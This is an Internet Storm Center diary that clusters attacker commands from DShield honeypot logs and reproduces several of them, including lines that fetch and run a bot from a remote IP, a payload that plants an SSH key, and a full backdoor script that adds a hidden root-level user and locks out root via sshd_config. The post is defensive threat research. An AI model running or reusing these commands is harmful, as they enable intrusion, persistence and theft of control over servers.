Usage of "passwd" Command in DShield Honeypots, (Fri, May 30th)
SANS Internet Storm Center, InfoCON: green 2025-05-29
DShield honeypots [1] receive different types of attack traffic and the volume of that traffic can change over time. I've been collecting data from a half dozen honeypots for a little over a year to make comparisons. This data includes:
- Cowrie logs [2], which contain SSH and telnet attacks
- Web honeypot logs
- Firewall logs (iptables)
- Packet captures using tcpdump
The highest volume of activity has been for my residentially hosted honeypot.
Figure 1: Cowrie log volume by honeypot starting on 4/21/2024, covering approximately 1 year.
The data is processed with some python scripts to identity data clusters and outliers [3]. This weekend I learned that there is only so much memory you can throw at a probelm before you need to consider a different strategy for analyzing data. While doing clustering of unique commands submitted to my honeypots, my python script crashed. It left me with a problem on what do to next. One of the options that I had was to try and look at a subset of the command data. But what subset?
Something that was interesting when previously reviewing the data was how many different kinds of password change attempts happened on honeypots. This was one of the reasons that I tried to do clustering in the first place. I wanted to be able to group similar commands, even if there were deviations, such as the username and password attempted for a password change command.
A summary of the data volume for submitted commands ("input" field in Cowrie data):
Unique commands: 536,508 Unique commands with "passwd
" used: 502,846 Percentage of commands with "passwd" included: 93.73%
Considering that 94% of the unique commands submitted had something to do with "passwd
", I decided to filter those out, which would allow me to cluster the remaining data without any memory errors. That still left how to review this password data and look for similar clusters. My solution was simply to sort the data alphabetically and take every third value for analysis.
# sort pandas dataframe using the "input" columnunique_commands_passwd = unique_commands_passwd.sort_values(by='input')# take every third value from the dataframe and store it in a new datafame for analysisunique_commands_passwd_subset = unique_commands_passwd.iloc[::3, :]
This allowed me to process the data, but it does have some shortcomings. If there were three adjacent entries that may have been outliers or unique clusters, some of that data would get filtered out. Another option in this case could be to randomly sample the data.
From this clustering process, 17 clusters emerged. Below are examples from each cluster.
CommandCluster
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 45ukd2Re) system && sudo usermod -aG sudo system
0echo "czhou\np2mk0NIg9gRF\np2mk0NIg9gRF\n"|passwd
1echo "$#@!QWER$#@!REWQFDSAVCXZ\nougti9mT9YAa\nougti9mT9YAa\n"|passwd
2echo "540df7f83845146f0287ff6d2da77900\nE3oSNKfWpq1s\nE3oSNKfWpq1s\n"|passwd
3echo "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW\n"|passwd
4echo "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm\n"|passwd
5echo "root:ddKCQwpLRc9Q"|chpasswd|bash
6echo -e "Passw0rd\ndljyjtNPLEwI\ndljyjtNPLEwI"|passwd|bash
7echo -e "xmrmining@isntprofitable\n7UrX3NlsBj6i\n7UrX3NlsBj6i"|passwd|bash
8echo -e "540df7f83845146f0287ff6d2da77900\nHB15VQlzOyOo\nHB15VQlzOyOo"|passwd|bash
9echo -e "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW"|passwd|bash
10echo -e "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm"|passwd|bash
11lscpu && echo -e "yNHYAVV3\nyNHYAVV3" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt
12lscpu | grep "CPU(s): " && echo -e "5XHeUh9gNe76\n5XHeUh9gNe76" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot;
13lscpu | grep "CPU(s): " && echo -e "9nz66TbaU9Y8\n9nz66TbaU9Y8" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34[.]237 -j DROP; iptables -A INPUT -s 186.2.171[.]36 -j DROP
14lscpu | grep "CPU(s): " && echo -e "Gr7gWzAzts5y\nGr7gWzAzts5y" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34.237 -j DROP
15openssl passwd -1 45ukd2Re
16Figure 2: Sampling of commands with "passwd" used for each cluster identified.
Some of these could probably be clustered better with different feature selections, but it's still a nice grouping. I was a bit more interested in what the outliers looked like (cluster=-1
).
Figure 3: Clustering outliers highlighting some more unique entries.
Commands
#!/bin/bash username="local" version="1.3"
if [ "$EUID" -ne 0 ]; then echo "[-] Run as root!" exit fi
getent passwd $username > /dev/null if [ $? -eq 0 ]; then echo "[-] Username $username is already being used!" exit fi
<rest of script not included>
; arch_info=$(uname -m); cpu_count=$(nproc); gpu_count=$(lspci | egrep -i 'nvidia|amd' | grep -e VGA -e 3D | wc -l); echo -e "YnEGa37O\nYnEGa37O" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; if [ $? -eq 0 ]; then; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; ssh_status="success"; else; ssh_status="failed"; fi; users=$(cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -v /bin/sync | grep -v /sbin/shutdown | grep -v /sbin/halt | cut -d: -f1 | sort); echo "$arch_info:$cpu_count:$gpu_count:$users:$ssh_status";
ps -HewO lstart ex;echo finalshell_separator;ls --color=never -l /proc/*/exe;echo finalshell_separator;cat /etc/passwd;echo finalshell_separator;ip addr;echo finalshell_separator;pwd;echo finalshell_separator;uname -s;uname -n;uname -r;uname -v;uname -m;uname -p;uname -i;uname -o;echo finalshell_separator;cat /etc/system-release;cat /etc/issue;echo finalshell_separator;cat /proc/cpuinfo;echo finalshell_separator;
Figure 4: Commands that looked more unique among the cluster outliers.
These were much more interesting, especially the first one since I was anticipating to find a reference for the script somewhere, but have found anything. The full script here:
#!/bin/bashusername="local"version="1.3"if [ "$EUID" -ne 0 ]; then echo "[-] Run as root!" exitfigetent passwd $username > /dev/nullif [ $? -eq 0 ]; then echo "[-] Username $username is already being used!" exitfiecho "[+] SSH Vaccine Script v$version"os=`lsb_release -is 2>/dev/null || echo unknown`cpus=`lscpu 2>/dev/null | egrep "^CPU\(s\):" | sed -e "s/[^0-9]//g" || nproc 2>/dev/null || echo 0`# Create the backdoor username.echo "[!] Create username $username with administrator privilege."if [ ! -d /home ]; then mkdir /home echo "[!] Folder /home was created."fipasswd=$(timeout 10 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)h="$pwhash"if [ -x "$(command -v openssl)" ]; then h=$(echo $passwd | openssl passwd -1 -stdin)else passwd="$pw"fiuseradd $username -o -u 0 -g 0 -c "local" -m -d /home/$username -s /bin/bash -p "$h"if ! grep -q "^$username:" /etc/passwd;then echo "cannot add user" exitfiif [ -x "$(command -v ed)" ]; then printf "%s\n" '$m1' wq | ed /etc/passwd -s printf "%s\n" '$m1' wq | ed /etc/shadow -selse lo=$(tail -1 /etc/passwd) sed -i "/^$username:/d" /etc/passwd sed -i "/^root:.*:0:0:/a $lo" /etc/passwd lo=$(tail -1 /etc/shadow) sed -i "/^$username:/d" /etc/shadow sed -i "/^root:/a $lo" /etc/shadowfiecho "[!] Generated password: $passwd"echo "[!] Set the profile."echo "unset HISTFILE" >> /home/$username/.bashrcecho 'export PS1="\[$(tput setaf 2)\][\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 2)\]\u@\h \W\[$(tput sgr0)\]\[$(tput setaf 2)\]]\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 7)\]\\$ \[$(tput sgr0)\]"' >> /home/$username/.bashrcecho "cd /var/www/httpd" >> /home/$username/.bashrcecho "w" >> /home/$username/.bashrcecho "################################################################################"echo "#######################################################################" > /tmp/sshd_config_tmpecho "# ! ! ! ! ! IMPORTANT ! ! ! ! ! #" >> /tmp/sshd_config_tmpecho "# * Your system has detected a weak password for root account and for #" >> /tmp/sshd_config_tmpecho "# security reasons, remote access via SSH has been blocked to prevent #" >> /tmp/sshd_config_tmpecho "# unauthorized access. In order to enable again remote access to this #" >> /tmp/sshd_config_tmpecho "# machine for root user via SSH, set a new complex password for root #" >> /tmp/sshd_config_tmpecho "# account and delete 'DenyUsers root' line below on this config file. #" >> /tmp/sshd_config_tmpecho "# * Restarting the SSH Daemon is required for changes to take effect. #" >> /tmp/sshd_config_tmpecho "# #" >> /tmp/sshd_config_tmpecho "# Bash commands: #" >> /tmp/sshd_config_tmpecho "# passwd root (Changes your root password). #" >> /tmp/sshd_config_tmpecho "# service sshd restart (Restart the SSH Daemon). #" >> /tmp/sshd_config_tmpecho "DenyUsers root" >> /tmp/sshd_config_tmpecho "#######################################################################" >> /tmp/sshd_config_tmpcat /etc/ssh/sshd_config >> /tmp/sshd_config_tmpyes | cp /tmp/sshd_config_tmp /etc/ssh/sshd_config > /dev/null 2>&1rm -rf /tmp/sshd_config_tmpsystemctl restart ssh || systemctl restart sshd || service ssh restart || service sshd restart || /etc/init.d/ssh restart || /etc/init.d/sshd restartif [ $? -eq 0 ];then echo "SSHD restarted"else echo "SSHD error"fiip=$ipecho "[!] IP: $ip"# Try to get a hostname from IP.dns=`getent hosts $ip | awk '{print $2}'`if [ -z "$dns" ]then dns=nullfiecho "[!] DNS: $dns"# Get country name from IP.country=`wget -qO- https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || curl -ks -m30 https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || echo X`echo "[!] List of usernames on this machine:"ls /home | awk '{print $1}'echo "[!] List of ethernet IP addresses:"ip addr show | grep -o "inet [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*"echo "################################################################################"# Print all info necessary about the machine.echo ""uname -aecho "$username $passwd $h"echo "$ip,$dns,root,$username,$passwd,$cpus,$os,$country"echo ""echo "################################################################################"
I have only seen this command once on my Digital Ocean honeypot on 9/13/2024 from %%ip:194.169.175.107%%. I'll dive into the script and some of the other activity from this host in a future diary.
The clustering exercise helped to find one item that was unqiue out of over 500,000 values. This was a good lesson for me to find ways to sample data and save memory resources.
[1] https://isc.sans.edu/honeypot.html [2] https://github.com/cowrie/cowrie [3] https://isc.sans.edu/diary/31050
-- Jesse La Grew Handler
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.